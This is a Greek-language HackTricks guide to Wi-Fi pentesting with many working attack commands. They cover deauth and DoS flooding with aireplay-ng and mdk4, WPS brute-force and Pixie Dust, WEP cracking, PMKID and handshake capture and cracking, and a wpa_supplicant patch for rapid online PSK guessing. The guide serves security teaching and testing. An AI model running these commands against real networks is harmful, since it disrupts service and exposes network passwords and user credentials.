Pentesting Wifi

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Wifi βασικές εντολές

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

Εργαλεία

Hijacker & NexMon (Android internal Wi-Fi)

Enable Nexmon Monitor And Injection On Android

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Εκτέλεση airgeddon με docker

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

Μπορεί να πραγματοποιήσει επιθέσεις Evil Twin, KARMA και Known Beacons και στη συνέχεια να χρησιμοποιήσει ένα phishing template για να αποκτήσει τον πραγματικό κωδικό του δικτύου ή να υποκλέψει διαπιστευτήρια κοινωνικών δικτύων.

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

Αυτό το εργαλείο αυτοματοποιεί επιθέσεις WPS/WEP/WPA-PSK. Θα κάνει αυτόματα:

  • Θέτει τη διεπαφή σε monitor mode
  • Σκανάρει για πιθανά δίκτυα - και σας επιτρέπει να επιλέξετε το/τα θύμα(τα)
  • If WEP - Launch WEP attacks
  • If WPA-PSK
  • If WPS: Pixie dust attack and the bruteforce attack (be careful the brute-force attack could take a long time). Notice that it doesn’t try null PIN or database/generated PINs.
  • Προσπαθεί να καταγράψει το PMKID από το AP για να το crackάρει
  • Προσπαθεί να deauthenticate clients του AP για να καταγράψει ένα handshake
  • Αν PMKID ή Handshake, προσπαθεί να κάνει bruteforce χρησιμοποιώντας top5000 passwords.

Attacks Summary

  • DoS
  • Deauthentication/disassociation – Αποσυνδέει όλους (ή ένα συγκεκριμένο ESSID/Client)
  • Random fake APs – Κρύβει δίκτυα, μπορεί να προκαλέσει crash σε scanners
  • Overload AP – Προσπαθεί να απενεργοποιήσει το AP (συνήθως όχι πολύ χρήσιμο)
  • WIDS – Παίζει με το IDS
  • TKIP, EAPOL – Κάποιες συγκεκριμένες επιθέσεις για DoS σε ορισμένα APs
  • Cracking
  • Crack WEP (several tools and methods)
  • WPA-PSK
  • WPS pin “Brute-Force”
  • WPA PMKID bruteforce
  • [DoS +] WPA handshake capture + Cracking
  • WPA-MGT
  • Username capture
  • Bruteforce Credentials
  • Evil Twin (with or without DoS)
  • Open Evil Twin [+ DoS] – Χρήσιμο για capture captive portal creds και/ή για LAN attacks
  • WPA-PSK Evil Twin – Χρήσιμο για network attacks αν γνωρίζετε τον κωδικό
  • WPA-MGT – Χρήσιμο για capture company credentials
  • KARMA, MANA, Loud MANA, Known beacon
  • + Open – Χρήσιμο για capture captive portal creds και/ή για LAN attacks
  • + WPA – Χρήσιμο για capture WPA handshakes

Open / OWE networks quick notes

  • Passive capture on open SSIDs still works with monitor mode and tcpdump:
iw wlan0 set type monitor
ip link set wlan0 up
iw wlan0 set channel 6
tcpdump -i wlan0 -w capture.pcap
  • OWE (Opportunistic Wireless Encryption) πραγματοποιεί per-station key exchange (no PSK), έτσι τα air frames είναι κρυπτογραφημένα ακόμη και σε “open” SSIDs. Εφόσον βασίζεται σε WPA3, επιβάλλει επίσης 802.11w PMF, που μπλοκάρει πλαστά deauth/disassoc frames.
  • OWE does not authenticate joiners: ο οποιοσδήποτε μπορεί να κάνει association, οπότε verify client isolation αντί να εμπιστεύεστε διαφημιστικά claims. Χωρίς isolation, ARP spoofing ή responder-style poisoning στο τοπικό L2 εξακολουθεί να λειτουργεί.
  • Evil Twin παραμένει εφικτό σε open/OWE SSIDs παρουσιάζοντας ισχυρότερο σήμα· το PMF απλώς αφαιρεί τη συντόμευση deauth. Αν τα θύματα αποδεχτούν ένα ψευδεπίγραφο TLS cert, ο πλήρης HTTP(S) MitM αποκαθίσταται.
  • Το broadcast poisoning σε open guest Wi‑Fi εύκολα αποδίδει creds/hashes (LLMNR/NBT-NS/mDNS). Δείτε:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

DOS

Deauthentication Packets

Description from here:.

Deauthentication attacks, μια διαδεδομένη μέθοδος στο Wi‑Fi hacking, περιλαμβάνουν την πλαστογράφηση “management” frames για να αναγκαστικά αποσυνδέσουν συσκευές από ένα δίκτυο. Αυτά τα μη κρυπτογραφημένα πακέτα εξαπατούν τους clients κάνοντάς τους να πιστεύουν ότι προέρχονται από το νόμιμο δίκτυο, επιτρέποντας στους επιτιθέμενους να συλλέξουν WPA handshakes για σκοπούς cracking ή να διαταράξουν επιμελώς τις συνδέσεις δικτύου. Αυτή η τακτική, ανησυχητική στην απλότητά της, χρησιμοποιείται ευρέως και έχει σημαντικές επιπτώσεις για την ασφάλεια του δικτύου.

Deauthentication using Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 σημαίνει deauthentication
  • 1 είναι ο αριθμός των deauths που θα σταλούν (μπορείτε να στείλετε πολλαπλά αν το επιθυμείτε); 0 σημαίνει στείλετέ τα συνεχώς
  • -a 00:14:6C:7E:40:80 είναι η MAC διεύθυνση του access point
  • -c 00:0F:B5:34:30:30 είναι η MAC διεύθυνση του client προς deauthenticate; αν αυτό παραλειφθεί τότε αποστέλλεται broadcast deauthentication (δεν λειτουργεί πάντα)
  • ath0 είναι το όνομα διεπαφής

Disassociation Packets

Disassociation packets, παρόμοια με deauthentication packets, είναι ένας τύπος management frame που χρησιμοποιείται σε Wi-Fi networks. Αυτά τα πακέτα χρησιμεύουν στο να διακόψουν τη σύνδεση μεταξύ μιας συσκευής (όπως laptop ή smartphone) και ενός access point (AP). Η βασική διαφορά μεταξύ disassociation και deauthentication έγκειται στα σενάρια χρήσης τους. Ενώ ένα AP εκπέμπει deauthentication packets για να αφαιρέσει ρητά rogue devices από το δίκτυο, disassociation packets συνήθως αποστέλλονται όταν το AP πρόκειται να κλείσει, να κάνει restart, ή να μετακινηθεί, και επομένως απαιτείται η αποσύνδεση όλων των συνδεδεμένων κόμβων.

This attack can be performed by mdk4(mode “d”):

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

Περισσότερες DOS επιθέσεις από το mdk4

Στο here.

ATTACK MODE b: Beacon Flooding

Αποστέλλει beacon frames για να εμφανίσει fake APs στους clients. Αυτό μπορεί μερικές φορές να προκαλέσει crash σε network scanners και ακόμη και drivers!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

ATTACK MODE a: Authentication Denial-Of-Service

Η αποστολή authentication frames σε όλα τα προσβάσιμα Access Points (APs) εντός εμβέλειας μπορεί να υπερφορτώσει αυτά τα APs, ειδικά όταν εμπλέκονται πολλοί clients. Αυτή η έντονη κίνηση μπορεί να οδηγήσει σε αστάθεια του συστήματος, προκαλώντας ορισμένα APs να παγώσουν ή ακόμα και να επανεκκινηθούν.

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

ATTACK MODE p: SSID Probing and Bruteforcing

Η ανίχνευση Access Points (APs) ελέγχει αν ένα SSID αποκαλύπτεται σωστά και επιβεβαιώνει την εμβέλεια του AP. Αυτή η τεχνική, σε συνδυασμό με το bruteforcing hidden SSIDs με ή χωρίς wordlist, βοηθά στον εντοπισμό και στην πρόσβαση σε κρυφά δίκτυα.

ATTACK MODE m: Michael Countermeasures Exploitation

Η αποστολή τυχαίων ή διπλότυπων πακέτων σε διαφορετικές ουρές QoS μπορεί να ενεργοποιήσει τα Michael Countermeasures σε TKIP APs, οδηγώντας σε προσωρινό κλείσιμο του AP για ένα λεπτό. Αυτή η μέθοδος είναι μια αποτελεσματική τακτική επίθεσης DoS (Denial of Service).

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

ATTACK MODE e: EAPOL Start and Logoff Packet Injection

Πλημμυρίζοντας ένα AP με EAPOL Start frames δημιουργεί ψεύτικες συνεδρίες, υπερφορτώνει το AP και αποκλείει τους νόμιμους πελάτες. Εναλλακτικά, η έγχυση ψεύτικων EAPOL Logoff messages αναγκαστικά αποσυνδέει τους πελάτες, και οι δύο μέθοδοι διαταράσσουν αποτελεσματικά την υπηρεσία δικτύου.

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

ATTACK MODE s: Επιθέσεις για mesh δίκτυα IEEE 802.11s

Διάφορες επιθέσεις στη διαχείριση συνδέσμων και τη δρομολόγηση σε mesh δίκτυα.

ATTACK MODE w: WIDS Confusion

Η διασύνδεση πελατών σε πολλαπλούς κόμβους WDS ή σε ψεύτικα rogue APs μπορεί να παραπλανήσει Συστήματα Εντοπισμού και Πρόληψης Εισβολών, δημιουργώντας σύγχυση και πιθανή κατάχρηση του συστήματος.

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

ATTACK MODE f: Packet Fuzzer

Ένας packet fuzzer με ποικιλία πηγών πακέτων και ένα ολοκληρωμένο σύνολο τροποποιητών για την επεξεργασία πακέτων.

Airggedon

Airgeddon προσφέρει τις περισσότερες από τις επιθέσεις που προτάθηκαν στα προηγούμενα σχόλια:

WPS

WPS (Wi‑Fi Protected Setup) απλοποιεί τη διαδικασία σύνδεσης συσκευών σε έναν δρομολογητή, επιταχύνοντας και διευκολύνοντας τη ρύθμιση για δίκτυα που κρυπτογραφούνται με WPA ή WPA2 Personal. Είναι άχρηστο απέναντι στην εύκολα παραβιάσιμη ασφάλεια WEP. Το WPS χρησιμοποιεί ένα 8ψήφιο PIN, το οποίο επαληθεύεται σε δύο μέρη, κάνοντάς το επιρρεπές σε brute-force επιθέσεις λόγω του περιορισμένου αριθμού συνδυασμών (11.000 πιθανότητες).

WPS Bruteforce

Υπάρχουν 2 κύρια εργαλεία για την εκτέλεση αυτής της ενέργειας: Reaver και Bully.

  • Reaver έχει σχεδιαστεί για να είναι μια στιβαρή και πρακτική επίθεση κατά του WPS, και έχει δοκιμαστεί απέναντι σε μεγάλη ποικιλία access points και υλοποιήσεων WPS.
  • Bully είναι μια νέα υλοποίηση της WPS brute force επίθεσης, γραμμένη σε C. Έχει αρκετά πλεονεκτήματα σε σχέση με τον αρχικό κώδικα του reaver: λιγότερες εξαρτήσεις, βελτιωμένη απόδοση μνήμης και cpu, σωστή διαχείριση του endianness, και ένα πιο στιβαρό σύνολο επιλογών.

Η επίθεση εκμεταλλεύεται την ευπάθεια του WPS PIN, ιδίως την αποκάλυψη των πρώτων τεσσάρων ψηφίων και τον ρόλο του τελευταίου ψηφίου ως checksum, διευκολύνοντας την brute-force επίθεση. Ωστόσο, αμυντικά μέτρα ενάντια σε brute-force επιθέσεις, όπως το blocking MAC addresses επιθετικών εισβολέων, απαιτούν MAC address rotation για να συνεχιστεί η επίθεση.

Μετά την απόκτηση του WPS PIN με εργαλεία όπως Bully ή Reaver, ο επιτιθέμενος μπορεί να αποσπάσει το WPA/WPA2 PSK, εξασφαλίζοντας επίμονη πρόσβαση στο δίκτυο.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Smart Brute Force

Αυτή η βελτιωμένη προσέγγιση στοχεύει σε WPS PINs χρησιμοποιώντας γνωστές ευπάθειες:

  1. Pre-discovered PINs: Χρησιμοποιεί μια βάση δεδομένων με γνωστά PINs συνδεδεμένα με συγκεκριμένους κατασκευαστές που είναι γνωστό ότι χρησιμοποιούν ομοιόμορφα WPS PINs. Αυτή η βάση δεδομένων συσχετίζει τα πρώτα τρία octets των MAC-addresses με πιθανά PINs για αυτούς τους κατασκευαστές.
  2. PIN Generation Algorithms: Εκμεταλλεύεται αλγορίθμους όπως ComputePIN και EasyBox, οι οποίοι υπολογίζουν WPS PINs με βάση το MAC-address του AP. Ο αλγόριθμος Arcadyan απαιτεί επιπλέον ένα device ID, προσθέτοντας ένα επίπεδο στη διαδικασία δημιουργίας PIN.

WPS Pixie Dust attack

Dominique Bongard ανακάλυψε ένα σφάλμα σε ορισμένα Access Points (APs) όσον αφορά τη δημιουργία μυστικών κωδικών, γνωστών ως nonces (E-S1 και E-S2). Αν αυτά τα nonces μπορούν να εξαχθούν, το cracking του WPS PIN του AP γίνεται εύκολο. Το AP αποκαλύπτει το PIN μέσα σε έναν ειδικό κωδικό (hash) για να αποδείξει ότι είναι νόμιμο και όχι ψεύτικο (rogue) AP. Αυτά τα nonces είναι ουσιαστικά τα «κλειδιά» για το άνοιγμα του «θησαυροφυλακίου» που περιέχει το WPS PIN. More on this can be found here.

Με απλά λόγια, το πρόβλημα είναι ότι κάποια APs δεν χρησιμοποιούσαν επαρκώς τυχαία κλειδιά για την κρυπτογράφηση του PIN κατά τη διάρκεια της διαδικασίας σύνδεσης. Αυτό καθιστά το PIN ευάλωτο στο να μαντευτεί από έξω από το δίκτυο (offline brute force attack).

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Αν δεν θέλετε να μετατρέψετε τη συσκευή σε monitor mode, ή αν το reaver και το bully παρουσιάζουν κάποιο πρόβλημα, μπορείτε να δοκιμάσετε το OneShot-C. Αυτό το εργαλείο μπορεί να εκτελέσει Pixie Dust attack χωρίς να χρειάζεται να αλλάξετε σε monitor mode.

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Null Pin attack

Μερικά κακοσχεδιασμένα συστήματα επιτρέπουν ακόμη και σε ένα Null PIN (ένα κενό ή μη υπάρχον PIN) να παρέχει πρόσβαση, κάτι μάλλον ασυνήθιστο. Το εργαλείο Reaver μπορεί να ελέγξει αυτήν την ευπάθεια, σε αντίθεση με το Bully.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

Όλες οι προτεινόμενες επιθέσεις WPS μπορούν εύκολα να εκτελεστούν χρησιμοποιώντας airgeddon.

  • Τα 5 και 6 σου επιτρέπουν να δοκιμάσεις το προσαρμοσμένο σου PIN (αν έχεις κάποιο)
  • Τα 7 και 8 εκτελούν την Pixie Dust attack
  • Το 13 σου επιτρέπει να δοκιμάσεις το NULL PIN
  • Τα 11 και 12 θα ανακτήσουν τα PINs που σχετίζονται με το επιλεγμένο AP από διαθέσιμες βάσεις δεδομένων και θα παράγουν πιθανά PINs χρησιμοποιώντας: ComputePIN, EasyBox και προαιρετικά Arcadyan (συνιστάται, γιατί όχι?)
  • Τα 9 και 10 θα δοκιμάσουν κάθε πιθανό PIN

WEP

Γιατί καταρρέει

  • RC4 seed is just IV (24 bits) + shared key. Το IV είναι cleartext, tiny (2^24), και επαναλαμβάνεται γρήγορα, οπότε τα ciphertexts με το ίδιο IV επαναχρησιμοποιούν το keystream.
  • XORing two ciphertexts with the same keystream leaks PlaintextA ⊕ PlaintextB; predictable headers + RC4 KSA biases (FMS) let you “vote” key bytes. PTW optimises this using ARP traffic to drop requirements to tens of thousands of packets instead of millions.
  • Integrity is only CRC32 (linear/unkeyed), so an attacker can flip bits and recompute CRC32 without the key → packet forgery/replay/ARP injection while waiting for IVs.

Practical break is deterministic:

airodump-ng --bssid <BSSID> --channel <ch> --write wep_capture wlan1mon  # collect IVs
# optionally speed up IVs without deauth by replaying ARP
aireplay-ng --arpreplay -b <BSSID> -h <clientMAC> wlan1mon
aircrack-ng wep_capture-01.cap  # PTW attack recovers key once IV threshold is met

Airgeddon εξακολουθεί να περιλαμβάνει μια “All-in-One” WEP ροή εργασίας εάν προτιμάτε ένα καθοδηγούμενο UI.



WPA/WPA2 PSK

PMKID

Το 2018, hashcat revealed μια νέα μέθοδος επίθεσης, μοναδική επειδή χρειάζεται μόνο ένα μόνο πακέτο και δεν απαιτεί να υπάρχουν συνδεδεμένοι clients στο στοχευόμενο AP—μόνο αλληλεπίδραση μεταξύ του επιτιθέμενου και του AP.

Πολλοί σύγχρονοι routers προσθέτουν ένα προαιρετικό πεδίο στο πρώτο EAPOL πλαίσιο κατά τη συσχέτιση, γνωστό ως Robust Security Network. Αυτό περιλαμβάνει το PMKID.

Όπως εξηγεί η αρχική ανάρτηση, το PMKID δημιουργείται χρησιμοποιώντας γνωστά δεδομένα:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Δεδομένου ότι το “PMK Name” είναι σταθερό, γνωρίζουμε το BSSID του AP και του station, και το PMK είναι ταυτόσημο με αυτό από ένα πλήρες 4-way handshake, hashcat μπορεί να χρησιμοποιήσει αυτές τις πληροφορίες για να σπάσει το PSK και να ανακτήσει το passphrase!

Για να gather αυτές τις πληροφορίες και να bruteforce το password τοπικά μπορείτε να κάνετε:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

Τα PMKIDs που καταγράφηκαν θα εμφανιστούν στην console και επίσης θα αποθηκευτούν μέσα στο _ /tmp/attack.pcap_
Τώρα, μετατρέψτε την καταγραφή σε hashcat/john μορφή και crack it:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Σημειώστε ότι η μορφή ενός σωστού hash περιέχει 4 μέρη, όπως: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 Αν το δικό σας μόνο περιέχει 3 μέρη, τότε είναι μη έγκυρο (η PMKID capture δεν ήταν έγκυρη).

Σημειώστε ότι το hcxdumptool also capture handshakes (κάτι σαν αυτό θα εμφανιστεί: MP:M1M2 RC:63258 EAPOLTIME:17091). Μπορείτε να μετατρέψετε τα handshakes σε μορφή hashcat/john χρησιμοποιώντας το cap2hccapx

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

Έχω παρατηρήσει ότι κάποια handshakes που καταγράφηκαν με αυτό το εργαλείο δεν μπορούσαν να cracked ακόμα και γνωρίζοντας το σωστό password. Συστήνω να καταγράψετε handshakes επίσης με τον παραδοσιακό τρόπο, αν είναι δυνατόν, ή να καταγράψετε πολλά από αυτά χρησιμοποιώντας αυτό το εργαλείο.

Καταγραφή handshake

Μια επίθεση σε WPA/WPA2 δίκτυα μπορεί να εκτελεστεί καταγράφοντας ένα handshake και επιχειρώντας να crack το password offline. Αυτή η διαδικασία περιλαμβάνει την παρακολούθηση της επικοινωνίας ενός συγκεκριμένου δικτύου και του BSSID σε ένα συγκεκριμένο channel. Εδώ είναι ένας συνοπτικός οδηγός:

  1. Εντοπίστε το BSSID, το channel, και έναν connected client του στοχευμένου δικτύου.
  2. Χρησιμοποιήστε airodump-ng για να παρακολουθήσετε την κυκλοφορία δικτύου στο καθορισμένο channel και BSSID, ελπίζοντας να καταγράψετε ένα handshake. Η εντολή θα μοιάζει με την εξής:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. Για να αυξήσετε την πιθανότητα να καταγράψετε ένα handshake, αποσυνδέστε προσωρινά τον client από το δίκτυο για να αναγκάσετε re-authentication. Αυτό μπορεί να γίνει με την εντολή aireplay-ng, η οποία στέλνει deauthentication πακέτα στον client:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Σημειώστε ότι καθώς ο client ήταν deauthenticated, μπορεί να προσπαθήσει να συνδεθεί σε διαφορετικό AP ή, σε άλλες περιπτώσεις, σε διαφορετικό network.

Μόλις στο airodump-ng εμφανιστούν πληροφορίες για το handshake, αυτό σημαίνει ότι το handshake έχει καταγραφεί και μπορείτε να σταματήσετε να ακούτε:

Μόλις το handshake έχει καταγραφεί, μπορείτε να το crack με aircrack-ng:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

Έλεγχος αν υπάρχει handshake στο αρχείο

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

“Εάν αυτό το εργαλείο βρει ένα μη ολοκληρωμένο handshake ενός ESSID πριν από το ολοκληρωμένο, δεν θα ανιχνεύσει το έγκυρο.”

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

Γρηγορότερη online δοκιμή PSK μέσω wpa_supplicant ctrl socket (no clients/PMKID)

Όταν δεν υπάρχουν clients και το AP αρνείται PMKID, μπορείτε να δοκιμάσετε PSKs online χωρίς να επανεκκινείτε supplicants:

  • Κάντε patch το wpa_supplicant.c για να επιβάλετε dur = 0; στη λογική backoff αποτυχίας πιστοποίησης (στο σημείο γύρω από ssid->auth_failures), απενεργοποιώντας ουσιαστικά τον προσωρινό timer απενεργοποίησης.
  • Τρέξτε ένα μόνο daemon με ένα control socket:
# wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=root
update_config=1

wpa_supplicant -B -i wlp3s0 -c wpa_supplicant.conf
  • Οδήγησέ το μέσω της διεπαφής ελέγχου, επαναχρησιμοποιώντας την ίδια scan και το ίδιο network:
ADD_NETWORK
SET_NETWORK 0 ssid "<ssid>"
ENABLE_NETWORK 0
SCAN
(loop)
SET_NETWORK 0 psk "<candidate>"
REASSOCIATE
wait for CTRL-EVENT-CONNECTED / DISCONNECTED

Ένας μικρός βρόχος Python που διαβάζει socket events (CTRL-EVENT-CONNECTED / CTRL-EVENT-DISCONNECTED) μπορεί να δοκιμάσει ~100 guesses σε ~5 λεπτά χωρίς scan overhead. Παραμένει ωστόσο θορυβώδης και ανιχνεύσιμος, αλλά αποφεύγει επανεκκινήσεις διεργασιών ανά προσπάθεια και backoff delays.

WPA Enterprise (MGT)

Σε υλοποιήσεις enterprise WiFi θα συναντήσετε διάφορες μεθόδους authentication, καθεμία παρέχει διαφορετικά επίπεδα ασφάλειας και δυνατότητες διαχείρισης. Όταν χρησιμοποιείτε εργαλεία όπως airodump-ng για να εξετάσετε την κυκλοφορία δικτύου, μπορεί να παρατηρήσετε αναγνωριστικά για αυτούς τους τύπους authentication. Μερικές κοινές μέθοδοι περιλαμβάνουν:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):
  • Αυτή η μέθοδος υποστηρίζει hardware tokens και one-time passwords μέσα σε EAP-PEAP. Σε αντίθεση με MSCHAPv2, δεν χρησιμοποιεί peer challenge και στέλνει passwords σε plaintext προς το access point, δημιουργώντας κίνδυνο για downgrade attacks.
  1. EAP-MD5 (Message Digest 5):
  • Περιλαμβάνει την αποστολή του MD5 hash του password από τον client. Δεν προτείνεται λόγω ευπάθειας σε dictionary attacks, έλλειψης server authentication και αδυναμίας δημιουργίας session-specific WEP keys.
  1. EAP-TLS (Transport Layer Security):
  • Χρησιμοποιεί τόσο client-side όσο και server-side certificates για authentication και μπορεί να παράγει δυναμικά user-based και session-based WEP keys για την ασφάλεια της επικοινωνίας.
  1. EAP-TTLS (Tunneled Transport Layer Security):
  • Παρέχει mutual authentication μέσω ενός encrypted tunnel, μαζί με μέθοδο για την παραγωγή dynamic, per-user, per-session WEP keys. Απαιτεί μόνο server-side certificates, ενώ οι clients χρησιμοποιούν credentials.
  1. PEAP (Protected Extensible Authentication Protocol):
  • Λειτουργεί παρόμοια με το EAP δημιουργώντας ένα TLS tunnel για προστατευμένη επικοινωνία. Επιτρέπει τη χρήση ασθενέστερων authentication protocols πάνω από το EAP λόγω της προστασίας που προσφέρει το tunnel.
  • PEAP-MSCHAPv2: Συχνά αναφέρεται απλώς ως PEAP, συνδυάζει τον ευάλωτο MSCHAPv2 challenge/response μηχανισμό με ένα προστατευτικό TLS tunnel.
  • PEAP-EAP-TLS (or PEAP-TLS): Παρόμοιο με EAP-TLS αλλά αρχικοποιεί ένα TLS tunnel πριν την ανταλλαγή certificates, παρέχοντας ένα επιπλέον επίπεδο ασφάλειας.

You can find more information about these authentication methods here and here.

Username Capture

Reading https://tools.ietf.org/html/rfc3748#page-27 it looks like if you are using EAP the “Identity” messages must be supported, and the username is going to be sent in clear in the “Response Identity” messages.

Even using one of the most secure of authentication methods: PEAP-EAP-TLS, it is possible to capture the username sent in the EAP protocol. To do so, capture a authentication communication (start airodump-ng inside a channel and wireshark in the same interface) and filter the packets byeapol.
Inside the “Response, Identity” packet, the username of the client will appear.

Anonymous Identities

Η απόκρυψη ταυτότητας υποστηρίζεται από EAP-PEAP και EAP-TTLS. Στο πλαίσιο ενός WiFi δικτύου, ένα EAP-Identity request τυπικά ξεκινάει από το access point (AP) κατά τη διάρκεια της διαδικασίας association. Για να προστατευτεί η ανωνυμία του χρήστη, η απάντηση από τον EAP client στη συσκευή του χρήστη περιέχει μόνο τις απαραίτητες πληροφορίες που χρειάζεται ο αρχικός RADIUS server για να επεξεργαστεί το request. Αυτή η ιδέα καταδεικνύεται από τα παρακάτω σενάρια:

  • EAP-Identity = anonymous
  • Σε αυτό το σενάριο, όλοι οι χρήστες χρησιμοποιούν το ψευδώνυμο “anonymous” ως τον user identifier τους. Ο αρχικός RADIUS server λειτουργεί είτε ως EAP-PEAP είτε ως EAP-TTLS server, υπεύθυνος για τη διαχείριση του server-side της PEAP ή TTLS πρωτοκόλλου. Η εσωτερική (protected) μέθοδος authentication στη συνέχεια είτε χειρίζεται τοπικά είτε ανατίθεται σε ένα απομακρυσμένο (home) RADIUS server.
  • EAP-Identity = anonymous@realm_x
  • Σε αυτή την περίπτωση, χρήστες από διαφορετικά realms κρύβουν τις ταυτότητές τους ενώ δηλώνουν τα αντίστοιχα realms τους. Αυτό επιτρέπει στον αρχικό RADIUS server να προωθεί τα EAP-PEAP ή EAP-TTLS requests σε RADIUS servers στα home realms τους, τα οποία ενεργούν ως PEAP ή TTLS server. Ο αρχικός RADIUS server λειτουργεί αποκλειστικά ως RADIUS relay node.
  • Εναλλακτικά, ο αρχικός RADIUS server μπορεί να λειτουργήσει ως ο EAP-PEAP ή EAP-TTLS server και είτε να χειριστεί την προστατευμένη μέθοδο authentication είτε να την προωθήσει σε άλλο server. Αυτή η επιλογή επιτρέπει τη διαμόρφωση διακριτών πολιτικών για διάφορα realms.

Στο EAP-PEAP, μόλις εγκαθιδρυθεί το TLS tunnel μεταξύ του PEAP server και του PEAP client, ο PEAP server ξεκινά ένα EAP-Identity request και το μεταδίδει μέσω του TLS tunnel. Ο client απαντά στο δεύτερο αυτό EAP-Identity request στέλνοντας μια EAP-Identity response που περιέχει την πραγματική ταυτότητα του χρήστη μέσω του κρυπτογραφημένου tunel. Αυτή η προσέγγιση αποτρέπει αποτελεσματικά την αποκάλυψη της πραγματικής ταυτότητας του χρήστη σε οποιονδήποτε ακούει παθητικά την 802.11 κίνηση.

Το EAP-TTLS ακολουθεί μια ελαφρώς διαφορετική διαδικασία. Στο EAP-TTLS, ο client συνήθως κάνει authentication χρησιμοποιώντας PAP ή CHAP, ασφαλισμένα από το TLS tunnel. Σε αυτή την περίπτωση, ο client συμπεριλαμβάνει ένα User-Name attribute και είτε ένα Password είτε CHAP-Password attribute στο αρχικό TLS μήνυμα που αποστέλλεται μετά την εγκαθίδρυση του tunnel.

